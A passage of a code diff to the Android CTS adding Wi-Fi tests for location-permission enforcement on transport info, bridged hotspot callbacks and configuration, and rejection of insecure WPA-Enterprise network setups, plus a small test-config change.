import android.platform.test.annotations.AppModeFull;
+import androidx.test.filters.SdkSuppress;
import androidx.test.filters.SmallTest;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
@@ -73,6 +74,10 @@
WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusActivity";
private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE =
WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusService";
+ private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY =
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusActivity";
+ private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE =
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusService";
private static final int DURATION_MS = 10_000;
private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
@@ -221,6 +226,17 @@
WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE), status);
}
+ private void retrieveTransportInfoFgActivityAndAssertStatusIs(boolean status)
+ throws Exception {
+ startFgActivityAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+ WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY), status);
+ }
+
+ private void retrieveTransportInfoBgServiceAndAssertStatusIs(boolean status) throws Exception {
+ startBgServiceAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+ WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE), status);
+ }
+
@Test
public void testScanTriggerNotAllowedForForegroundActivityWithNoLocationPermission()
throws Exception {
@@ -318,4 +334,54 @@
WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
retrieveConnectionInfoBgServiceAndAssertStatusIs(false);
}
+
+ /**
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ @Test
+ public void testTransportInfoRetrievalNotAllowedForForegroundActivityWithNoLocationPermission()
+ throws Exception {
+ retrieveTransportInfoFgActivityAndAssertStatusIs(false);
+ }
+
+ /**
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ @Test
+ public void testTransportInfoRetrievalAllowedForForegroundActivityWithFineLocationPermission()
+ throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+ retrieveTransportInfoFgActivityAndAssertStatusIs(true);
+ }
+
+ /**
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ @Test
+ public void
+ testTransportInfoRetrievalAllowedForBackgroundServiceWithBackgroundLocationPermission()
+ throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_BACKGROUND_LOCATION);
+ retrieveTransportInfoBgServiceAndAssertStatusIs(true);
+ }
+
+ /**
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ @Test
+ public void
+ testTransportInfoRetrievalNotAllowedForBackgroundServiceWithFineLocationPermission()
+ throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+ retrieveTransportInfoBgServiceAndAssertStatusIs(false);
+ }
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 3a47491..b1778e6 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -53,6 +53,7 @@
import android.net.wifi.SoftApInfo;
import android.net.wifi.WifiClient;
import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.net.wifi.WifiManager.SubsystemRestartTrackingCallback;
@@ -80,6 +81,7 @@
import android.text.TextUtils;
import android.util.ArraySet;
import android.util.Log;
+import android.util.SparseIntArray;
import androidx.core.os.BuildCompat;
import androidx.test.filters.SdkSuppress;
@@ -180,6 +182,7 @@
private static final String TYPE_WIFI_CONFIG = "application/x-wifi-config";
private static final String TEST_PSK_CAP = "[RSN-PSK-CCMP]";
private static final String TEST_BSSID = "00:01:02:03:04:05";
+ public static final String TEST_DOM_SUBJECT_MATCH = "domSubjectMatch";
private IntentFilter mIntentFilter;
private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@@ -715,16 +718,19 @@
Object softApLock;
int currentState;
int currentFailureReason;
+ List<SoftApInfo> apInfoList = new ArrayList<>();
+ Map<SoftApInfo, List<WifiClient>> apInfoClients = new HashMap<>();
List<WifiClient> currentClientList;
- SoftApInfo currentSoftApInfo;
SoftApCapability currentSoftApCapability;
MacAddress lastBlockedClientMacAddress;
int lastBlockedClientReason;
boolean onStateChangedCalled = false;
boolean onSoftApCapabilityChangedCalled = false;
boolean onConnectedClientCalled = false;
+ boolean onConnectedClientChangedWithInfoCalled = false;
boolean onBlockedClientConnectingCalled = false;
int onSoftapInfoChangedCalledCount = 0;
+ int onSoftapInfoChangedWithListCalledCount = 0;
TestSoftApCallback(Object lock) {
softApLock = lock;
@@ -742,12 +748,24 @@
}
}
+ public int getOnSoftApInfoChangedWithListCalledCount() {
+ synchronized(softApLock) {
+ return onSoftapInfoChangedWithListCalledCount;
+ }
+ }
+
public boolean getOnSoftApCapabilityChangedCalled() {
synchronized(softApLock) {
return onSoftApCapabilityChangedCalled;
}
}
+ public boolean getOnConnectedClientChangedWithInfoCalled() {
+ synchronized(softApLock) {
+ return onConnectedClientChangedWithInfoCalled;
+ }
+ }
+
public boolean getOnConnectedClientCalled() {
synchronized(softApLock) {
return onConnectedClientCalled;
@@ -774,13 +792,19 @@
public List<WifiClient> getCurrentClientList() {
synchronized(softApLock) {
- return currentClientList;
+ return new ArrayList<>(currentClientList);
}
}
public SoftApInfo getCurrentSoftApInfo() {
synchronized(softApLock) {
- return currentSoftApInfo;
+ return apInfoList.size() > 0 ? apInfoList.get(0) : null;
+ }
+ }
+
+ public List<SoftApInfo> getCurrentSoftApInfoList() {
+ synchronized(softApLock) {
+ return new ArrayList<>(apInfoList);
}
}
@@ -820,9 +844,26 @@
}
@Override
+ public void onConnectedClientsChanged(SoftApInfo info, List<WifiClient> clients) {
+ synchronized(softApLock) {
+ apInfoClients.put(info, clients);
+ onConnectedClientChangedWithInfoCalled = true;
+ }
+ }
+
+ @Override
+ public void onInfoChanged(List<SoftApInfo> infoList) {
+ synchronized(softApLock) {
+ apInfoList = new ArrayList<>(infoList);
+ onSoftapInfoChangedWithListCalledCount++;
+ }
+ }
+
+ @Override
public void onInfoChanged(SoftApInfo softApInfo) {
synchronized(softApLock) {
- currentSoftApInfo = softApInfo;
+ apInfoList.clear();
+ apInfoList.add(softApInfo);
onSoftapInfoChangedCalledCount++;
}
}
@@ -1663,6 +1704,14 @@
if (BuildCompat.isAtLeastS()) {
assertEquals(currentConfig.getMacRandomizationSetting(),
testSoftApConfig.getMacRandomizationSetting());
+ assertTrue(Arrays.equals(currentConfig.getBands(),
+ testSoftApConfig.getBands()));
+ assertEquals(currentConfig.getChannels().toString(),
+ testSoftApConfig.getChannels().toString());
+ assertEquals(currentConfig.isBridgedModeOpportunisticShutdownEnabled(),
+ testSoftApConfig.isBridgedModeOpportunisticShutdownEnabled());
+ assertEquals(currentConfig.isIeee80211axEnabled(),
+ testSoftApConfig.isIeee80211axEnabled());
}
}
@@ -1684,6 +1733,156 @@
}
}
+ private void verifyBridgedModeSoftApCallback(TestExecutor executor,
+ TestSoftApCallback callback, boolean shouldFallbackSingleApMode, boolean isEnabled)
+ throws Exception {
+ // Verify state and info callback value as expected
+ PollingCheck.check(
+ "SoftAp state and info on bridged AP mode are mismatch!!!"
+ + " shouldFallbackSingleApMode = " + shouldFallbackSingleApMode
+ + ", isEnabled = " + isEnabled, 5_000,
+ () -> {
+ executor.runAll();
+ int expectedState = isEnabled ? WifiManager.WIFI_AP_STATE_ENABLED
+ : WifiManager.WIFI_AP_STATE_DISABLED;
+ int expectedInfoSize = isEnabled
+ ? (shouldFallbackSingleApMode ? 1 : 2) : 0;
+ return expectedState == callback.getCurrentState()
+ && callback.getCurrentSoftApInfoList().size() == expectedInfoSize;
+ });
+ }
+
+ private boolean shouldFallbackToSingleAp(int[] bands, SoftApCapability capability) {
+ for (int band : bands) {
+ if (capability.getSupportedChannelList(band).length == 0) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Test bridged AP enable succeeful when device supports it.
+ * Also verify the callback info update correctly.
+ * @throws Exception
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTetheredBridgedAp() throws Exception {
+ // check that softap bridged mode is supported by the device
+ if (!mWifiManager.isBridgedApConcurrencySupported()) {
+ return;
+ }
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ TestExecutor executor = new TestExecutor();
+ TestSoftApCallback callback = new TestSoftApCallback(mLock);
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ // Off/On Wifi to make sure that we get the supported channel
+ turnOffWifiAndTetheredHotspotIfEnabled();
+ mWifiManager.setWifiEnabled(true);
+ PollingCheck.check(
+ "Wifi turn on failed!", 2_000,
+ () -> mWifiManager.isWifiEnabled() == true);
+ turnOffWifiAndTetheredHotspotIfEnabled();
+ verifyRegisterSoftApCallback(executor, callback);
+
+ // Test bridged SoftApConfiguration set and get (setBands)
+ SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+ .setSsid(TEST_SSID_UNQUOTED)
+ .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+ .setBands(new int[] {
+ SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ})
+ .build();
+ boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(testSoftApConfig.getBands(),
+ callback.getCurrentSoftApCapability());
+ verifySetGetSoftApConfig(testSoftApConfig);
+
+ // start tethering which used to verify startTetheredHotspot
+ mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+ new TetheringManager.StartTetheringCallback() {
+ @Override
+ public void onTetheringFailed(final int result) {
+ }
+ });
+ verifyBridgedModeSoftApCallback(executor, callback,
+ shouldFallbackToSingleAp, true /* enabled */);
+ // stop tethering which used to verify stopSoftAp
+ mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+ verifyBridgedModeSoftApCallback(executor, callback,
+ shouldFallbackToSingleAp, false /* disabled */);
+ } finally {
+ mWifiManager.unregisterSoftApCallback(callback);
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ /**
+ * Test bridged AP with forced channel config enable succeeful when device supports it.
+ * Also verify the callback info update correctly.
+ * @throws Exception
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTetheredBridgedApWifiForcedChannel() throws Exception {
+ // check that softap bridged mode is supported by the device
+ if (!mWifiManager.isBridgedApConcurrencySupported()) {
+ return;
+ }
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ TestExecutor executor = new TestExecutor();
+ TestSoftApCallback callback = new TestSoftApCallback(mLock);
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ // Off/On Wifi to make sure that we get the supported channel
+ turnOffWifiAndTetheredHotspotIfEnabled();
+ mWifiManager.setWifiEnabled(true);
+ PollingCheck.check(
+ "Wifi turn on failed!", 2_000,
+ () -> mWifiManager.isWifiEnabled() == true);
+ turnOffWifiAndTetheredHotspotIfEnabled();
+ verifyRegisterSoftApCallback(executor, callback);
+
+ boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(
+ new int[] {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ},
+ callback.getCurrentSoftApCapability());
+
+ // Test when there are supported channels in both of the bands.
+ if (!shouldFallbackToSingleAp) {
+ // Test bridged SoftApConfiguration set and get (setChannels)
+ SparseIntArray dual_channels = new SparseIntArray(2);
+ dual_channels.put(SoftApConfiguration.BAND_2GHZ,
+ callback.getCurrentSoftApCapability()
+ .getSupportedChannelList(SoftApConfiguration.BAND_2GHZ)[0]);
+ dual_channels.put(SoftApConfiguration.BAND_5GHZ,
+ callback.getCurrentSoftApCapability()
+ .getSupportedChannelList(SoftApConfiguration.BAND_5GHZ)[0]);
+ SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+ .setSsid(TEST_SSID_UNQUOTED)
+ .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+ .setChannels(dual_channels)
+ .build();
+
+ verifySetGetSoftApConfig(testSoftApConfig);
+
+ // start tethering which used to verify startTetheredHotspot
+ mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+ new TetheringManager.StartTetheringCallback() {
+ @Override
+ public void onTetheringFailed(final int result) {
+ }
+ });
+ verifyBridgedModeSoftApCallback(executor, callback,
+ shouldFallbackToSingleAp, true /* enabled */);
+ // stop tethering which used to verify stopSoftAp
+ mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+ verifyBridgedModeSoftApCallback(executor, callback,
+ shouldFallbackToSingleAp, false /* disabled */);
+ }
+ } finally {
+ mWifiManager.unregisterSoftApCallback(callback);
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
/**
* Verify that the configuration from getSoftApConfiguration is same as the configuration which
* set by setSoftApConfiguration. And depends softap capability callback to test different
@@ -1755,6 +1954,13 @@
SoftApConfiguration.SECURITY_TYPE_WPA3_SAE);
verifySetGetSoftApConfig(softApConfigBuilder.build());
}
+
+ // Test 11 AX control config.
+ if (callback.getCurrentSoftApCapability()
+ .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
+ softApConfigBuilder.setIeee80211axEnabled(true);
+ verifySetGetSoftApConfig(softApConfigBuilder.build());
+ }
} finally {
mWifiManager.unregisterSoftApCallback(callback);
uiAutomation.dropShellPermissionIdentity();
@@ -3486,4 +3692,57 @@
uiAutomation.dropShellPermissionIdentity();
}
}
+
+
+ /**
+ * Verify that insecure WPA-Enterprise network configurations are rejected.
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ WifiConfiguration wifiConfiguration = new WifiConfiguration();
+ wifiConfiguration.SSID = SSID1;
+ wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
+ wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
+ int networkId = INVALID_NETWORK_ID;
+
+ // These below API's only work with privileged permissions (obtained via shell identity
+ // for test)
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+
+ // Verify that an insecure network is rejected
+ assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
+
+ // Now configure it correctly with a Root CA cert and domain name
+ wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
+ wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
+
+ // Verify that the network is added
+ networkId = mWifiManager.addNetwork(wifiConfiguration);
+ assertNotEquals(INVALID_NETWORK_ID, networkId);
+
+ // Verify that the update API accepts configurations configured securely
+ wifiConfiguration.networkId = networkId;
+ assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
+
+ // Now clear the security configuration
+ wifiConfiguration.enterpriseConfig.setCaCertificate(null);
+ wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
+
+ // Verify that the update API rejects insecure configurations
+ assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
+ } finally {
+ if (networkId != INVALID_NETWORK_ID) {
+ // Clean up the previously added network
+ mWifiManager.removeNetwork(networkId);
+ }
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 8be0ac6..d819f2c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -16,6 +16,7 @@
package android.net.wifi.cts;
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
import static android.os.Process.myUid;
@@ -49,6 +50,7 @@
import android.support.test.uiautomator.UiDevice;
import android.text.TextUtils;
+import androidx.core.os.BuildCompat;
import androidx.test.filters.SmallTest;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
@@ -83,7 +85,6 @@
* ConnectivityManager.NetworkCallback)}.
*
* Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
- * TODO(b/150716005): Use assumeTrue for wifi support check.
*/
@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
@SmallTest
@@ -206,9 +207,9 @@
public static void setUpClass() throws Exception {
Context context = InstrumentationRegistry.getInstrumentation().getContext();
// skip the test if WiFi is not supported
- assumeTrue(WifiFeature.isWifiSupported(context));
+ if (!WifiFeature.isWifiSupported(context)) return;
- WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+ WifiManager wifiManager = context.getSystemService(WifiManager.class);
assertNotNull(wifiManager);
// turn on verbose logging for tests
@@ -246,7 +247,7 @@
Context context = InstrumentationRegistry.getInstrumentation().getContext();
if (!WifiFeature.isWifiSupported(context)) return;
- WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+ WifiManager wifiManager = context.getSystemService(WifiManager.class);
assertNotNull(wifiManager);
if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
@@ -271,9 +272,17 @@
mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ assumeTrue(WifiFeature.isWifiSupported(mContext));
+
// turn screen on
turnScreenOn();
+ // Clear any existing app state before each test.
+ if (BuildCompat.isAtLeastS()) {
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+ }
+
List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
() -> mWifiManager.getPrivilegedConfiguredNetworks());
// Pick the last saved network on the device (assumes that it is in range)
@@ -292,6 +301,11 @@
if (mNetworkCallback != null) {
mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
}
+ // Clear any existing app state after each test.
+ if (BuildCompat.isAtLeastS()) {
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+ }
turnScreenOff();
}
@@ -478,6 +492,7 @@
mConnectivityManager.requestNetwork(
new NetworkRequest.Builder()
.addTransportType(TRANSPORT_WIFI)
+ .removeCapability(NET_CAPABILITY_INTERNET)
.setNetworkSpecifier(specifier)
.build(),
mNetworkCallback);
@@ -531,8 +546,8 @@
} else {
fail("Unsupported security type found in saved networks");
}
- } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
- specifierBuilder.setIsEnhancedOpen(false);
+ } else if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+ specifierBuilder.setIsEnhancedOpen(true);
} else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
fail("Unsupported security type found in saved networks");
}
diff --git a/tools/cts-tradefed/res/config/cts-meerkat.xml b/tools/cts-tradefed/res/config/cts-meerkat.xml
index a6ff35d..c95efe1 100644
--- a/tools/cts-tradefed/res/config/cts-meerkat.xml
+++ b/tools/cts-tradefed/res/config/cts-meerkat.xml
@@ -38,6 +38,7 @@
<!-- System Alert Window (SAW) -->
<option name="compatibility:include-filter" value="CtsSystemIntentTestCases"/>
+ <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.HideOverlayWindowsTest"/>
<option name="compatibility:include-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest"/>
<!-- Toasts -->